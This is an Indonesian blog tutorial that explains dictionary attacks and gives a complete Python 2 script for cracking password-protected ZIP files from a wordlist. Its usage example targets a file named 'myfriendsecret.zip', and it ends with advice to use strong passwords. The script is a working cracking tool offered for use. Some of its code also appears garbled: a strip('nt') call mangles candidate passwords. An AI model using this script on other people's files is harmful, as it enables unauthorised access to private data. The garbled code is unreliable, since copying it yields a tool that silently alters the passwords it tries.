Menembus proteksi file ZIP dengan metode dictionary attack menggunakan Python

python

Yuuhuu.. saatnya main hacker-hackeran yuk, kali ini kita akan manfaatin Python untuk melakukkan serangan Dictionary Attack.

Apa itu dictionary attack? Dictionary Attack merupakan sebuah teknik untuk melakukkan penembusan sebuah system yang terproteksi oleh password dengan cara mencoba puluhan, ratusan bahkan ribuan atau jutaan password dan diharapkan satu dari password tersebut akan cocok dan kita bisa mendapat akses masuk.

Ya itu penjelasan sedarhananya saja, namun sebenarnya tidak hanya terbatas password, bisa juga untuk username atau password hash.

Pertanyaannya, apakah itu artinya kita satu-persatu mencoba password tersebut? tidak, itu dilakukan dengan sebuah software yang bisa meng-otomatisasi proses tersebut. Banyak jenis software untuk keperluan tersebut namun kali ini kita hanya akan memanfaatkan script python pendek untuk keperluan itu.

Target

Untuk kali ini kita akan mencoba sebuah praktek sederhana dan juga target nyata, yaitu sebuah file ZIP yang terproteksi oleh password. Karena file Zip biasanya hanya terproteksi oleh password saja tanpa username maka ini target yang cocok untuk latihan kali ini, kita hanya perlu password yang tepat.

Let’s coding

Jadi untuk melakukkan serangan dictionary-attack terhadap sebuah file Zip yang terproteksi password, yang kita perlukan hanyalah Python yang sudah terinstall di komputer dan daftar password yang akan dicoba (dictionary), semakin banyak semakin bagus.

Trus bagaimana cara Python untuk membuka file ZIP? untungnya untuk bermain dengan ZIP tidaklah sulit, bahkan module untuk melakukkan operasi pada file ZIP sudah ada di library standar Python nya. Jadi tidak perlu lagi menginstall library tambahan kalau hanya untuk membuka file ZIP.

Cara kerjanya adalah:

  1. Baca file passwords yang sudah kita dapatkan.
  2. Loop untuk setiap baris password tersebut dan gunakan untuk membuka file ZIP yang terproteksi.
  3. Looping akan terus berjalan sampai file ZIP terbuka dan password ditemukan.
  4. Kalau tidak ada yang cocok berarti usaha kali ini gagal, cari lagi file password yang lain dan berdoa semoga berhasil :D.

Dan kodenya seperti ini:

#!/usr/bin/env python

import sys
import zipfile
from threading import Thread

BANNER = """
------------------------------------
      Zip-file password breaker
       @coolhackeralias 2013
------------------------------------
"""

def zipbreak(filename, passwords): 
    zfile = zipfile.ZipFile(filename)

    print BANNER

    with open(passwords, 'r') as passfile:
        for passwd in passfile: 
            password = passwd.strip('nt')
            try:
                zfile.extractall(pwd=password)
                print 'Trying %s ====== SUCCESS exctracting with this password.' % password
                return
            except Exception as e:
                print 'Trying %s' % password

    print 'No password match.'
    zfile.close()

if __name__ == '__main__':
    try:
        filename = sys.argv[1]
        passwords = sys.argv[2]
        zb = Thread(target=zipbreak, args=(filename, passwords))
        zb.start()
    except:
        print BANNER
        print 'Usage: python zipbreaker.py [zipfile.zip] [passwords-db.txt]n'

Bisa dilihat code nya sangat simple dan sederhana, tidak ada yang special juga kan. Code diatas bisa dioptimisasi lagi biar lebih efisien. Namun kali ini tujuannya hanya untuk menunjukan kalau hanya dengan beberapa baris Python script, bisa melakukkan yang namanya Dictionary Attack terhadap file ZIP.

Untuk handling file ZIP, kita menggunakan module python zipfile dengan menggunakan method extractall() dengan password kita sebagai parameternya.

Salah satu yang saya implementasikan juga adalah penggunaan Threading di Python, dengan Thread tujuannya supaya saat looping terjadi maka console saya tidak nge-freeze. Ini berguna ketika jumlah password dictionary yang dipakai sangat banyak.

Saya pernah mencoba dengan sebuah file password sebanyak 2 juta lebih password dan ukuran filenya mencapai 20MB, itu akan butuh beberapa lama untuk selesainya.

Terus penggunaanya seperti ini:

$ python zipbraker.py myfriendsecret.zip passwords.txt

Dan kalau berhasil maka akan seperti di screenshot di atas itu :D, namun serangan jenis ini tidak 100% akan selalu berhasil karena tergantung apakah password yang dipakai untuk memproteksi ZIP tadi ada di antara tumpukan password di dictionary file itu.

Di screenshot saya itu sepertinya berhasil karena memang sengaja saya simulasikan seperti berhasil, padahal di dunia nyata tidak semudah itu, hanya untuk menunjukkan konsep nyatanya saja.

Jadi pelajaran yang bisa di ambil adalah, selalu membuat password yang kuat dan jangan-gunakan kata-kata biasa dan mudah di tebak. Kalau masih ada yang memakai password 123456, GANTILAH SEKARANG JUGA!.

Keep coding, keep secure.

Leave a Reply

Your email address will not be published. Required fields are marked *